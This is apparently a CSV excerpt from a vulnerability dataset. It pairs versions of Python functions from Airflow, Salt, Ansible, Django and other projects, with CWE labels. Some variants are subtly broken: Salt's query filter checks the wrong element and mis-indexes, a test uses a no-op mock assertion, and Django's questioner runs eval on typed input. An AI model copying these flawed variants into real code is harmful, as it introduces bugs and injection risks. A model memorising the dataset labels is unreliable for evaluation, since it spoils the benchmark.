            ""operator"": ""PythonOperator"",
            ""pid"": 100,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 9,
            ""queue"": ""default_queue"",
            ""queued_when"": None,
            ""scheduled_when"": None,
            ""start_date"": ""2020-01-02T00:00:00Z"",
            ""state"": ""running"",
            ""task_id"": ""print_the_context"",
            ""task_display_name"": ""print_the_context"",
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""dag_run_id"": ""TEST_DAG_RUN_ID"",
            ""rendered_fields"": {""op_args"": [], ""op_kwargs"": {}, ""templates_dict"": None},
            ""rendered_map_index"": None,
            ""run_after"": ""2020-01-01T00:00:00Z"",
            ""trigger"": None,
            ""triggerer_job"": None,
        }",CWE-703,apache/airflow,6652711eaf71e52a06793d85b88c45a0f459f404,"def test_should_respond_200_task_instance_with_rendered(self, test_client, session):
        tis = self.create_task_instances(session)
        session.query()
        rendered_fields = RTIF(tis[0], render_templates=False)
        session.add(rendered_fields)
        session.commit()
        response = test_client.get(
            ""/dags/example_python_operator/dagRuns/TEST_DAG_RUN_ID/taskInstances/print_the_context""
        )
        assert response.status_code == 200

        assert response.json() == {
            ""dag_id"": ""example_python_operator"",
            ""dag_version"": None,
            ""duration"": 10000.0,
            ""end_date"": ""2020-01-03T00:00:00Z"",
            ""logical_date"": ""2020-01-01T00:00:00Z"",
            ""executor"": None,
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""id"": mock.ANY,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""note"": ""placeholder-note"",
            ""operator"": ""PythonOperator"",
            ""pid"": 100,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 9,
            ""queue"": ""default_queue"",
            ""queued_when"": None,
            ""scheduled_when"": None,
            ""start_date"": ""2020-01-02T00:00:00Z"",
            ""state"": ""running"",
            ""task_id"": ""print_the_context"",
            ""task_display_name"": ""print_the_context"",
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""dag_run_id"": ""TEST_DAG_RUN_ID"",
            ""rendered_fields"": {""op_args"": ""()"", ""op_kwargs"": {}, ""templates_dict"": None},
            ""rendered_map_index"": None,
            ""run_after"": ""2020-01-01T00:00:00Z"",
            ""trigger"": None,
            ""triggerer_job"": None,
        }"
,UNKNOWN,UNKNOWN,tests/providers/databricks/operators/test_databricks_sql.py,1,"def test_exec_success(self, db_mock_class):
        """"""
        Test the execute function in case where SQL query was successful.
        """"""
        sql = ""select * from dummy""
        op = DatabricksSqlOperator(task_id=TASK_ID, sql=sql, do_xcom_push=True)
        db_mock = db_mock_class.return_value
        mock_description = [(""id"",), (""value"",)]
        mock_results = [Row(id=1, value=""value1"")]
        db_mock.run.return_value = mock_results
        db_mock.last_description = mock_description
        db_mock.scalar_return_last = False

        execute_results = op.execute(None)

        assert execute_results == (mock_description, mock_results)
        db_mock_class.assert_called_once_with(
            DEFAULT_CONN_ID,
            http_path=None,
            session_configuration=None,
            sql_endpoint_name=None,
            http_headers=None,
            catalog=None,
            schema=None,
            caller=""DatabricksSqlOperator"",
        )
        db_mock.run.assert_called_once_with(
            sql=sql,
            parameters=None,
            handler=fetch_all_handler,
            autocommit=False,
            return_last=True,
            split_statements=False,
        )",CWE-703,apache/airflow,ea306c9462615d6b215d43f7f17d68f4c62951b1,"def test_exec_success(self, db_mock_class):
        """"""
        Test the execute function in case where SQL query was successful.
        """"""
        sql = ""select * from dummy""
        op = DatabricksSqlOperator(task_id=TASK_ID, sql=sql, do_xcom_push=True)
        db_mock = db_mock_class.return_value
        mock_schema = [(""id"",), (""value"",)]
        mock_results = [Row(id=1, value=""value1"")]
        db_mock.run.return_value = [(mock_schema, mock_results)]

        results = op.execute(None)

        assert results[0][1] == mock_results
        db_mock_class.assert_called_once_with(
            DEFAULT_CONN_ID,
            http_path=None,
            session_configuration=None,
            sql_endpoint_name=None,
            http_headers=None,
            catalog=None,
            schema=None,
            caller=""DatabricksSqlOperator"",
        )
        db_mock.run.assert_called_once_with(
            sql=sql,
            parameters=None,
            handler=fetch_all_handler,
            autocommit=False,
            return_last=True,
            split_statements=False,
        )"
,UNKNOWN,UNKNOWN,tests/providers/cncf/kubernetes/operators/test_pod.py,1,"def test_image_pull_policy_correctly_set(self):
        k = KubernetesPodOperator(
            task_id=""task"",
            image_pull_policy=""Always"",
        )
        pod = k.build_pod_request_obj(create_context(k))
        assert pod.spec.containers[0].image_pull_policy == ""Always""",CWE-703,apache/airflow,dd937e51fe1ae3cd36a6993bd42e425960644e1d,"def test_image_pull_policy_correctly_set(self):
        k = KubernetesPodOperator(
            task_id=""task"",
            image_pull_policy=""Always"",
        )
        pod = k.build_pod_request_obj(create_context(k))
        assert pod.spec.containers[0].image_pull_policy == ""Always"""
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/formatters/text.py,0,"def report(manager, fileobj, sev_level, conf_level, lines=-1):
    """"""Prints discovered issues in the text format

    :param manager: the bandit manager object
    :param fileobj: The output file object, which may be sys.stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    bits = []

    if not manager.quiet or manager.results_count(sev_level, conf_level):
        bits.append(""Run started:%s"" % datetime.datetime.utcnow())

        if manager.verbose:
            bits.append(get_verbose_details(manager))

        bits.append(""\nTest results:"")
        bits.append(get_results(manager, sev_level, conf_level, lines))
        bits.append(""\nCode scanned:"")
        bits.append('\tTotal lines of code: %i' %
                    (manager.metrics.data['_totals']['loc']))

        bits.append('\tTotal lines skipped (#nosec): %i' %
                    (manager.metrics.data['_totals']['nosec']))

        skipped = manager.get_skipped()
        bits.append(get_metrics(manager))
        bits.append(""Files skipped (%i):"" % len(skipped))
        bits.extend([""\t%s (%s)"" % skip for skip in skipped])
        result = '\n'.join([bit for bit in bits]) + '\n'

        with fileobj:
            wrapped_file = utils.wrap_file_object(fileobj)
            wrapped_file.write(utils.convert_file_contents(result))

    if fileobj.name != sys.stdout.name:
        LOG.info(""Text output written to file: %s"", fileobj.name)",UNKNOWN,PyCQA/bandit,d25f3fc5f0f2bd8a251f252e9d81118c4947ae0e,"def report(manager, fileobj, sev_level, conf_level, lines=-1):
    """"""Prints discovered issues in the text format

    :param manager: the bandit manager object
    :param fileobj: The output file object, which may be sys.stdout
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    bits = []
    issues = manager.get_issue_list(sev_level, conf_level)

    if len(issues) or not manager.quiet:
        bits.append(""Run started:%s"" % datetime.datetime.utcnow())

        if manager.verbose:
            bits.append(get_verbose_details(manager))

        bits.append(""\nTest results:"")
        bits.append(get_results(manager, sev_level, conf_level, lines))
        bits.append(""\nCode scanned:"")
        bits.append('\tTotal lines of code: %i' %
                    (manager.metrics.data['_totals']['loc']))

        bits.append('\tTotal lines skipped (#nosec): %i' %
                    (manager.metrics.data['_totals']['nosec']))

        skipped = manager.get_skipped()
        bits.append(get_metrics(manager))
        bits.append(""Files skipped (%i):"" % len(skipped))
        bits.extend([""\t%s (%s)"" % skip for skip in skipped])
        result = '\n'.join([bit for bit in bits]) + '\n'

        with fileobj:
            wrapped_file = utils.wrap_file_object(fileobj)
            wrapped_file.write(utils.convert_file_contents(result))

    if fileobj.name != sys.stdout.name:
        LOG.info(""Text output written to file: %s"", fileobj.name)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_win_ip.py,1,"def test_enable():
    """"""
    Test if it enable an interface.
    """"""
    # Test with enabled interface
    with patch.object(win_ip, ""is_enabled"", return_value=True):
        assert win_ip.enable(""Ethernet"")

    mock_cmd = MagicMock()
    with patch.object(win_ip, ""is_enabled"", side_effect=[False, True]), patch.dict(
        win_ip.__salt__, {""cmd.run"": mock_cmd}
    ):
        assert win_ip.enable(""Ethernet"")

    mock_cmd.assert_called_once_with(
        [
            ""netsh"",
            ""interface"",
            ""set"",
            ""interface"",
            ""name=Ethernet"",
            ""admin=ENABLED"",
        ],
        python_shell=False,
    )",CWE-703,saltstack/salt,b32f88b235a9b77f8362946c23b71a8febf10e60,"def test_enable():
    """"""
    Test if it enable an interface.
    """"""
    # Test with enabled interface
    with patch.object(win_ip, ""is_enabled"", return_value=True):
        assert win_ip.enable(""Ethernet"")

    mock_cmd = MagicMock()
    with patch.object(win_ip, ""is_enabled"", side_effect=[False, True]), patch.dict(
        win_ip.__salt__, {""cmd.run"": mock_cmd}
    ):
        assert win_ip.enable(""Ethernet"")

    mock_cmd.called_once_with(
        [
            ""netsh"",
            ""interface"",
            ""set"",
            ""interface"",
            ""name=Ethernet"",
            ""admin=ENABLED"",
        ],
        python_shell=False,
    )"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/acme.py,0,"def __init__(self, module):
        self.module = module
        self.version = module.params['acme_version']
        # account_key path and content are mutually exclusive
        self.key = module.params['account_key_src']
        self.key_content = module.params['account_key_content']
        self.directory = ACMEDirectory(module)

        self.uri = None

        self._openssl_bin = module.get_bin_path('openssl', True)

        # Create a key file from content, key (path) and key content are mutually exclusive
        if self.key_content is not None:
            fd, tmpsrc = tempfile.mkstemp()
            module.add_cleanup_file(tmpsrc)  # Ansible will delete the file on exit
            f = os.fdopen(fd, 'wb')
            try:
                f.write(self.key_content.encode('utf-8'))
                self.key = tmpsrc
            except Exception as err:
                try:
                    f.close()
                except Exception as e:
                    pass
                raise ModuleFailException(""failed to create temporary content file: %s"" % to_native(err), exception=traceback.format_exc())
            f.close()

        if self.key is not None:
            error, self.key_data = self.parse_account_key(self.key)
            if error:
                raise ModuleFailException(""error while parsing account key: %s"" % error)
            self.jwk = self.key_data['jwk']
            self.jws_header = {
                ""alg"": self.key_data['alg'],
                ""jwk"": self.jwk,
            }",,ansible/ansible,348f87d3f4177380edcbcb237a9170335a4e9878,"def __init__(self, module):
        self.module = module
        self.version = module.params['acme_version']
        # account_key path and content are mutually exclusive
        self.key = module.params['account_key_src']
        self.key_content = module.params['account_key_content']
        self.directory = ACMEDirectory(module)

        self.uri = None

        self._openssl_bin = module.get_bin_path('openssl', True)

        # Create a key file from content, key (path) and key content are mutually exclusive
        if self.key_content is not None:
            fd, tmpsrc = tempfile.mkstemp()
            module.add_cleanup_file(tmpsrc)  # Ansible will delete the file on exit
            f = os.fdopen(fd, 'wb')
            try:
                f.write(self.key_content.encode('utf-8'))
                self.key = tmpsrc
            except Exception as err:
                try:
                    f.close()
                except Exception as e:
                    pass
                raise ModuleFailException(""failed to create temporary content file: %s"" % to_native(err), exception=traceback.format_exc())
            f.close()

        error, self.key_data = self.parse_account_key(self.key)
        if error:
            raise ModuleFailException(""error while parsing account key: %s"" % error)
        self.jwk = self.key_data['jwk']
        self.jws_header = {
            ""alg"": self.key_data['alg'],
            ""jwk"": self.jwk,
        }"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/route.py,0,"def render_text(self, outfd, data):

        self.table_header(outfd, [(""Source IP"", ""24""), 
                                  (""Dest. IP"", ""24""), 
                                  (""Name"", ""^10""), 
                                  (""Sent"", ""^18""),
                                  (""Recv"", ""^18""), 
                                  (""Time"", ""^30""), 
                                  (""Exp."", ""^10""), 
                                  (""Delta"", """")])

        for rt in data:
            self.table_row(outfd, 
                           rt.source_ip, 
                           rt.dest_ip,
                           rt.name,
                           rt.sent, rt.rx, 
                           rt.get_time(), 
                           rt.expire(), 
                           rt.delta)",,volatilityfoundation/volatility,782372bc160398ffbe3ec202da21200033565f64,"def render_text(self, outfd, data):

        self.table_header(outfd, [(""Source IP"", ""24""), 
                                  (""Dest. IP"", ""24""), 
                                  (""Name"", ""^10""), 
                                  (""Sent"", ""^18""),
                                  (""Recv"", ""^18""), 
                                  (""Time"", ""^30""), 
                                  (""Exp."", ""^10""), 
                                  (""Delta"", """")])

        for rt in data:
            self.table_row(outfd, 
                           rt.source_ip, 
                           rt.dest_ip,
                           rt.name,
                           rt.sent, rt.rx, 
                           rt.get_time(), 
                           rt.rt_expire, 
                           rt.delta)"
,UNKNOWN,UNKNOWN,tests/pyfunc/test_scoring_server.py,1,"def test_scoring_server_successfully_evaluates_correct_dataframes_with_pandas_records_orientation(
    sklearn_model, model_path
):
    mlflow.sklearn.save_model(sk_model=sklearn_model.model, path=model_path)

    pandas_record_content = pd.DataFrame(sklearn_model.inference_data).to_json(orient=""records"")
    response_records_content_type = pyfunc_serve_and_score_model(
        model_uri=os.path.abspath(model_path),
        data=pandas_record_content,
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,
    )
    assert response_records_content_type.status_code == 200

    response_records_content_type = pyfunc_serve_and_score_model(
        model_uri=os.path.abspath(model_path),
        data=pandas_record_content,
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON_RECORDS_ORIENTED,
    )
    assert response_records_content_type.status_code == 200

    # Testing the charset parameter
    response_records_content_type = pyfunc_serve_and_score_model(
        model_uri=os.path.abspath(model_path),
        data=pandas_record_content,
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON + ""; charset=UTF-8"",
    )
    assert response_records_content_type.status_code == 200

    response_records_content_type = pyfunc_serve_and_score_model(
        model_uri=os.path.abspath(model_path),
        data=pandas_record_content,
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON_RECORDS_ORIENTED + ""; charset=UTF-8"",
    )
    assert response_records_content_type.status_code == 200",CWE-703,mlflow/mlflow,28a45675f9369c4fe60dd7acbed696354d525ee1,"def test_scoring_server_successfully_evaluates_correct_dataframes_with_pandas_records_orientation(
    sklearn_model, model_path
):
    mlflow.sklearn.save_model(sk_model=sklearn_model.model, path=model_path)

    pandas_record_content = pd.DataFrame(sklearn_model.inference_data).to_json(orient=""records"")
    response_records_content_type = pyfunc_serve_and_score_model(
        model_uri=os.path.abspath(model_path),
        data=pandas_record_content,
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON,
    )
    assert response_records_content_type.status_code == 200

    response_records_content_type = pyfunc_serve_and_score_model(
        model_uri=os.path.abspath(model_path),
        data=pandas_record_content,
        content_type=pyfunc_scoring_server.CONTENT_TYPE_JSON_RECORDS_ORIENTED,
    )
    assert response_records_content_type.status_code == 200"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/pillar/mysql.py,0,"def extract_queries(self, args, kwargs):
        # Please note the function signature is NOT an error.  Neither args, nor
        # kwargs should have asterisks.  We are passing in a list and dict,
        # rather than receiving variable args.  Adding asterisks WILL BREAK the
        # function completely.

        # First, this is the query buffer.  Contains lists of [base,sql]
        qbuffer = []

        # Is there an old style mysql_query?
        if 'mysql_query' in kwargs:
            qbuffer.append([None, kwargs.pop('mysql_query')])

        # Add on the non-keywords...
        qbuffer.extend([[None, s] for s in args])

        # And then the keywords...
        # They aren't in definition order, but they can't conflict each other.
        qbuffer.extend([[k, v] for k, v in kwargs.items()])

        # Filter out values that don't have queries.
        qbuffer = filter(
            lambda x: (
                (type(x[1]) is str and len(x[1]))
                or
                ((type(x[1]) in (list, tuple)) and (len(x[1]) > 0) and x[1][0])
                or
                (type(x[1]) is dict and 'query' in x[1] and len(x[1]['query']))
            ),
            qbuffer)

        # Next, turn the whole buffer in to full dicts.
        for qb in qbuffer:
            defaults = {'query': '',
                        'depth': 0,
                        'as_list': False
                        }
            if type(qb[1]) is str:
                defaults['query'] = qb[1]
            elif type(qb[1]) in (list, tuple):
                defaults['query'] = qb[1][0]
                if len(qb[1]) > 1:
                    defaults['depth'] = qb[1][1]
                # May set 'as_list' from qb[1][2].
            else:
                defaults.update(qb[1])
            qb[1] = defaults

        return qbuffer",,saltstack/salt,bc1d706c5fdf2a8a2ba11581df7fb64c8e991860,"def extract_queries(self, args, kwargs):
        # Please note the function signature is NOT an error.  Neither args, nor
        # kwargs should have asterisks.  We are passing in a list and dict,
        # rather than receiving variable args.  Adding asterisks WILL BREAK the
        # function completely.

        # First, this is the query buffer.  Contains lists of [base,sql]
        qbuffer = []

        # Is there an old style mysql_query?
        if 'mysql_query' in kwargs:
            qbuffer.append([None, kwargs.pop('mysql_query')])

        # Add on the non-keywords...
        qbuffer.extend([[None, s] for s in args])

        # And then the keywords...
        # They aren't in definition order, but they can't conflict each other.
        qbuffer.extend([[k, v] for k, v in kwargs.items()])

        # Filter out values that don't have queries.
        qbuffer = filter(
            lambda x: (
                (type(x) is str and len(x)) or
                ((type(x) in (list, dict)) and (len(x) > 0) and x[0]) or
                (type(x) is dict and 'query' in x)
            ),
            qbuffer)

        # Next, turn the whole buffer in to full dicts.
        for qb in qbuffer:
            defaults = {'query': '',
                        'depth': 0,
                        'as_list': False
                        }
            if type(qb[1]) is str:
                defaults['query'] = qb[1]
            elif type(qb[1]) in (list, tuple):
                defaults['query'] = qb[1][0]
                if len(qb[1]) == 1:
                    defaults['depth'] = qb[1][1]
                # May set 'as_list' from qb[1][2].
            else:
                defaults.update(qb[1])
            qb[1] = defaults

        return qbuffer"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/gentoo_service.py,0,"def status(name, sig=None):
    '''
    Return the status for a service.
    If the name contains globbing, a dict mapping service name to True/False
    values is returned.

    .. versionchanged:: 2018.3.0
        The service name can now be a glob (e.g. ``salt*``)

    Args:
        name (str): The name of the service to check
        sig (str): Signature to use to find the service via ps

    Returns:
        bool: True if running, False otherwise
        dict: Maps service name to True if running, False otherwise

    CLI Example:

    .. code-block:: bash

        salt '*' service.status <service name> [service signature]
    '''
    if sig:
        return bool(__salt__['status.pid'](sig))

    contains_globbing = bool(re.search(r'\*|\?|\[.+\]', name))
    if contains_globbing:
        services = fnmatch.filter(get_all(), name)
    else:
        services = [name]
    results = {}
    for service in services:
        cmd = _service_cmd(service, 'status')
        results[service] = not _ret_code(cmd)
    if contains_globbing:
        return results
    return results[name]",,saltstack/salt,3964b92c41481ac48d122de1f5a082d2631908e2,"def status(name, sig=None):
    '''
    Return the status for a service.
    If the name contains globbing, a dict mapping service name to True/False
    values is returned.

    .. versionchanged:: Oxygen
        The service name can now be a glob (e.g. ``salt*``)

    Args:
        name (str): The name of the service to check
        sig (str): Signature to use to find the service via ps

    Returns:
        bool: True if running, False otherwise
        dict: Maps service name to True if running, False otherwise

    CLI Example:

    .. code-block:: bash

        salt '*' service.status <service name> [service signature]
    '''
    if sig:
        return bool(__salt__['status.pid'](sig))

    contains_globbing = bool(re.search(r'\*|\?|\[.+\]', name))
    if contains_globbing:
        services = fnmatch.filter(get_all(), name)
    else:
        services = [name]
    results = {}
    for service in services:
        cmd = _service_cmd(service, 'status')
        results[service] = not _ret_code(cmd)
    if contains_globbing:
        return results
    return results[name]"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/reg.py,0,"def key_absent(name, use_32bit_registry=False):
    r'''
    .. versionadded:: 2015.5.4

    Ensure a registry key is removed. This will remove the key, subkeys, and all
    value entries.

    Args:

        name (str):
            A string representing the full path to the key to be removed to
            include the hive and the keypath. The hive can be any of the
            following:

                - HKEY_LOCAL_MACHINE or HKLM
                - HKEY_CURRENT_USER or HKCU
                - HKEY_USER or HKU

        use_32bit_registry (bool):
            Use the 32bit portion of the registry. Applies only to 64bit
            windows. 32bit Windows will ignore this parameter. Default is False.

    Returns:
        dict: A dictionary showing the results of the registry operation.


    CLI Example:

        The following example will delete the ``SOFTWARE\DeleteMe`` key in the
        ``HKEY_LOCAL_MACHINE`` hive including all its subkeys and value pairs.

        .. code-block:: yaml

            remove_key_demo:
              reg.key_absent:
                - name: HKEY_CURRENT_USER\SOFTWARE\DeleteMe

        In the above example the path is interpreted as follows:

            - ``HKEY_CURRENT_USER`` is the hive
            - ``SOFTWARE\DeleteMe`` is the key
    '''
    ret = {'name': name,
           'result': True,
           'changes': {},
           'comment': ''}

    hive, key = _parse_key(name)

    # Determine what to do
    if not __utils__['reg.read_value'](hive=hive,
                                       key=key,
                                       use_32bit_registry=use_32bit_registry)['success']:
        ret['comment'] = '{0} is already absent'.format(name)
        return ret

    ret['changes'] = {
        'reg': {
            'Removed': {
                'Key': r'{0}\{1}'.format(hive, key)}}}

    # Check for test option
    if __opts__['test']:
        ret['result'] = None
        return ret

    # Delete the value
    __utils__['reg.delete_key_recursive'](hive=hive,
                                          key=key,
                                          use_32bit_registry=use_32bit_registry)
    if __utils__['reg.read_value'](hive=hive,
                                   key=key,
                                   use_32bit_registry=use_32bit_registry)['success']:
        ret['result'] = False
        ret['changes'] = {}
        ret['comment'] = 'Failed to remove registry key {0}'.format(name)

    return ret",,saltstack/salt,f12a52736ef0490a49fcbbdae4b8cfdddaf1fa39,"def key_absent(name, use_32bit_registry=False):
    r'''
    .. versionadded:: 2015.5.4

    Ensure a registry key is removed. This will remove the key, subkeys, and all
    value entries.

    Args:

        name (str):
            A string representing the full path to the key to be removed to
            include the hive and the keypath. The hive can be any of the
            following:

                - HKEY_LOCAL_MACHINE or HKLM
                - HKEY_CURRENT_USER or HKCU
                - HKEY_USER or HKU

        use_32bit_registry (bool):
            Use the 32bit portion of the registry. Applies only to 64bit
            windows. 32bit Windows will ignore this parameter. Default is False.

    Returns:
        dict: A dictionary showing the results of the registry operation.


    CLI Example:

        The following example will delete the ``SOFTWARE\DeleteMe`` key in the
        ``HKEY_LOCAL_MACHINE` hive including all its subkeys and value pairs.

        .. code-block:: yaml

            remove_key_demo:
              reg.key_absent:
                - name: HKEY_CURRENT_USER\SOFTWARE\DeleteMe

        In the above example the path is interpreted as follows:

            - ``HKEY_CURRENT_USER`` is the hive
            - ``SOFTWARE\DeleteMe`` is the key
    '''
    ret = {'name': name,
           'result': True,
           'changes': {},
           'comment': ''}

    hive, key = _parse_key(name)

    # Determine what to do
    if not __utils__['reg.read_value'](hive=hive,
                                       key=key,
                                       use_32bit_registry=use_32bit_registry)['success']:
        ret['comment'] = '{0} is already absent'.format(name)
        return ret

    ret['changes'] = {
        'reg': {
            'Removed': {
                'Key': r'{0}\{1}'.format(hive, key)}}}

    # Check for test option
    if __opts__['test']:
        ret['result'] = None
        return ret

    # Delete the value
    __utils__['reg.delete_key_recursive'](hive=hive,
                                          key=key,
                                          use_32bit_registry=use_32bit_registry)
    if __utils__['reg.read_value'](hive=hive,
                                   key=key,
                                   use_32bit_registry=use_32bit_registry)['success']:
        ret['result'] = False
        ret['changes'] = {}
        ret['comment'] = 'Failed to remove registry key {0}'.format(name)

    return ret"
,UNKNOWN,UNKNOWN,django/db/migrations/questioner.py,1,"def ask_not_null_addition(self, field_name, model_name):
        ""Adding a NOT NULL field to a model""
        choice = self._choice_input(
            ""You are trying to add a non-nullable field '%s' to %s without a default;\n"" % (field_name, model_name) +
            ""we can't do that (the database needs something to populate existing rows).\n"" +
            ""Please select a fix:"",
            [
                ""Provide a one-off default now (will be set on all existing rows)"",
                ""Quit, and let me add a default in models.py"",
            ]
        )
        if choice == 2:
            sys.exit(3)
        else:
            print(""Please enter the default value now, as valid Python"")
            print(""The datetime module is available, so you can do e.g. datetime.date.today()"")
            while True:
                code = input("">>> "").decode(sys.stdin.encoding)
                if not code:
                    print(""Please enter some code, or 'exit' (with no quotes) to exit."")
                elif code == ""exit"":
                    sys.exit(1)
                else:
                    try:
                        return eval(code, {}, {""datetime"": datetime_safe})
                    except (SyntaxError, NameError) as e:
                        print(""Invalid input: %s"" % e)",CWE-94,django/django,7535e9f4a4f5317a0073a8fde0eacf17ce31bac0,"def ask_not_null_addition(self, field_name, model_name):
        ""Adding a NOT NULL field to a model""
        choice = self._choice_input(
            ""You are trying to add a non-nullable field '%s' to %s without a default;\n"" % (field_name, model_name) +
            ""we can't do that (the database needs something to populate existing rows).\n"" +
            ""Please select a fix:"",
            [
                ""Provide a one-off default now (will be set on all existing rows)"",
                ""Quit, and let me add a default in models.py"",
            ]
        )
        if choice == 2:
            sys.exit(3)
        else:
            print(""Please enter the default value now, as valid Python"")
            print(""The datetime module is available, so you can do e.g. datetime.date.today()"")
            while True:
                code = input("">>> "")
                if not code:
                    print(""Please enter some code, or 'exit' (with no quotes) to exit."")
                elif code == ""exit"":
                    sys.exit(1)
                else:
                    try:
                        return eval(code, {}, {""datetime"": datetime_safe})
                    except (SyntaxError, NameError) as e:
                        print(""Invalid input: %s"" % e)"
,UNKNOWN,UNKNOWN,salt/runner.py,1,"def cmd_sync(self, low, timeout=None):
        '''
        Execute a runner function synchronously; eauth is respected

        This function requires that :conf_master:`external_auth` is configured
        and the user is authorized to execute runner functions: (``@runner``).

        .. code-block:: python

            runner.eauth_sync({
                'fun': 'jobs.list_jobs',
                'username': 'saltdev',
                'password': 'saltdev',
                'eauth': 'pam',
            })
        '''
        sevent = salt.utils.event.get_event('master',
                                            self.opts['sock_dir'],
                                            self.opts['transport'],
                                            opts=self.opts)

        # The master_call function here has a different function signature than
        # on WheelClient. So extract all the eauth keys and the fun key and
        # assume everything else is a kwarg to pass along to the runner
        # function to be called.
        auth_creds = dict([(i, low.pop(i))
            for i in ['username', 'password', 'eauth', 'token'] if i in low])
        reformatted_low = {'fun': low.pop('fun')}
        reformatted_low.update(auth_creds)
        reformatted_low['kwarg'] = low

        job = self.master_call(**reformatted_low)
        ret_tag = tagify('ret', base=job['tag'])

        timelimit = time.time() + (timeout or 300)
        while True:
            ret = sevent.get_event(full=True)
            if ret is None:
                if time.time() > timelimit:
                    raise salt.exceptions.SaltClientTimeout(
                        ""RunnerClient job '{0}' timed out"".format(job['jid']),
                        jid=job['jid'])
                else:
                    continue

            if ret['tag'] == ret_tag:
                return ret['data']['return']",CWE-259,saltstack/salt,505b2e476dde7f37a71c98e83f79345202c96b41,"def cmd_sync(self, low, timeout=None):
        '''
        Execute a runner function synchronously; eauth is respected

        This function requires that :conf_master:`external_auth` is configured
        and the user is authorized to execute runner functions: (``@runner``).

        .. code-block:: python

            runner.eauth_sync({
                'fun': 'jobs.list_jobs',
                'username': 'saltdev',
                'password': 'saltdev',
                'eauth': 'pam',
            })
        '''
        sevent = salt.utils.event.get_event('master',
                                            self.opts['sock_dir'],
                                            self.opts['transport'],
                                            opts=self.opts)
        job = self.master_call(**low)
        ret_tag = tagify('ret', base=job['tag'])

        timelimit = time.time() + (timeout or 300)
        while True:
            ret = sevent.get_event(full=True)
            if ret is None:
                if time.time() > timelimit:
                    raise salt.exceptions.SaltClientTimeout(
                        ""RunnerClient job '{0}' timed out"".format(job['jid']),
                        jid=job['jid'])
                else:
                    continue

            if ret['tag'] == ret_tag:
                return ret['data']['return']"
,UNKNOWN,UNKNOWN,django/utils/translation/trans_real.py,1,"def gettext(message):
    """"""
    Translate the 'message' string. It uses the current thread to find the
    translation object to use. If no current translation is activated, the
    message will be run through the default translation object.
    """"""
    global _default

    eol_message = message.replace('\r\n', '\n').replace('\r', '\n')

    if eol_message:
        _default = _default or translation(settings.LANGUAGE_CODE)
        translation_object = getattr(_active, ""value"", _default)

        result = translation_object.gettext(eol_message)
    else:
        # Return an empty value of the corresponding type if an empty message
        # is given, instead of metadata, which is the default gettext behavior.
        result = type(message)('')

    if isinstance(message, SafeData):
        return mark_safe(result)

    return result",CWE-79,django/django,d2afa5eb2308e672b6313876856e32e2561b90f3,"def gettext(message):
    """"""
    Translate the 'message' string. It uses the current thread to find the
    translation object to use. If no current translation is activated, the
    message will be run through the default translation object.
    """"""
    global _default

    eol_message = message.replace('\r\n', '\n').replace('\r', '\n')

    if len(eol_message) == 0:
        # Return an empty value of the corresponding type if an empty message
        # is given, instead of metadata, which is the default gettext behavior.
        result = type(message)("""")
    else:
        _default = _default or translation(settings.LANGUAGE_CODE)
        translation_object = getattr(_active, ""value"", _default)

        result = translation_object.gettext(eol_message)

    if isinstance(message, SafeData):
        return mark_safe(result)

    return result"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/core_api/routes/public/test_providers.py,1,"def test_should_respond_200(
        self, mock_provider, test_client, query_params, expected_total_entries, expected_package_name
    ):
        response = test_client.get(""/providers"", params=query_params)

        assert response.status_code == 200
        body = response.json()

        assert body[""total_entries""] == expected_total_entries
        assert [provider[""package_name""] for provider in body[""providers""]] == expected_package_name",CWE-703,apache/airflow,831f12ad7e2cff25c8007583521d664a5e9f21e6,"def test_should_respond_200(
        self, mock_provider, test_client, query_params, expected_total_entries, expected_package_name
    ):
        response = test_client.get(""/api/v2/providers"", params=query_params)

        assert response.status_code == 200
        body = response.json()

        assert body[""total_entries""] == expected_total_entries
        assert [provider[""package_name""] for provider in body[""providers""]] == expected_package_name"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/strategy/__init__.py,0,"def _process_pending_results(self, iterator):
        '''
        Reads results off the final queue and takes appropriate action
        based on the result (executing callbacks, updating state, etc.).
        '''

        ret_results = []

        while not self._final_q.empty() and not self._tqm._terminated:
            try:
                result = self._final_q.get()
                display.debug(""got result from result worker: %s"" % ([text_type(x) for x in result],))

                # all host status messages contain 2 entries: (msg, task_result)
                if result[0] in ('host_task_ok', 'host_task_failed', 'host_task_skipped', 'host_unreachable'):
                    task_result = result[1]
                    host = task_result._host
                    task = task_result._task
                    if result[0] == 'host_task_failed' or task_result.is_failed():
                        if not task.ignore_errors:
                            display.debug(""marking %s as failed"" % host.name)
                            if task.run_once:
                                # if we're using run_once, we have to fail every host here
                                [iterator.mark_host_failed(h) for h in self._inventory.get_hosts(iterator._play.hosts) if h.name not in self._tqm._unreachable_hosts]
                            else:
                                iterator.mark_host_failed(host)
                            self._tqm._failed_hosts[host.name] = True
                            self._tqm._stats.increment('failures', host.name)
                        else:
                            self._tqm._stats.increment('ok', host.name)
                        self._tqm.send_callback('v2_runner_on_failed', task_result, ignore_errors=task.ignore_errors)
                    elif result[0] == 'host_unreachable':
                        self._tqm._unreachable_hosts[host.name] = True
                        self._tqm._stats.increment('dark', host.name)
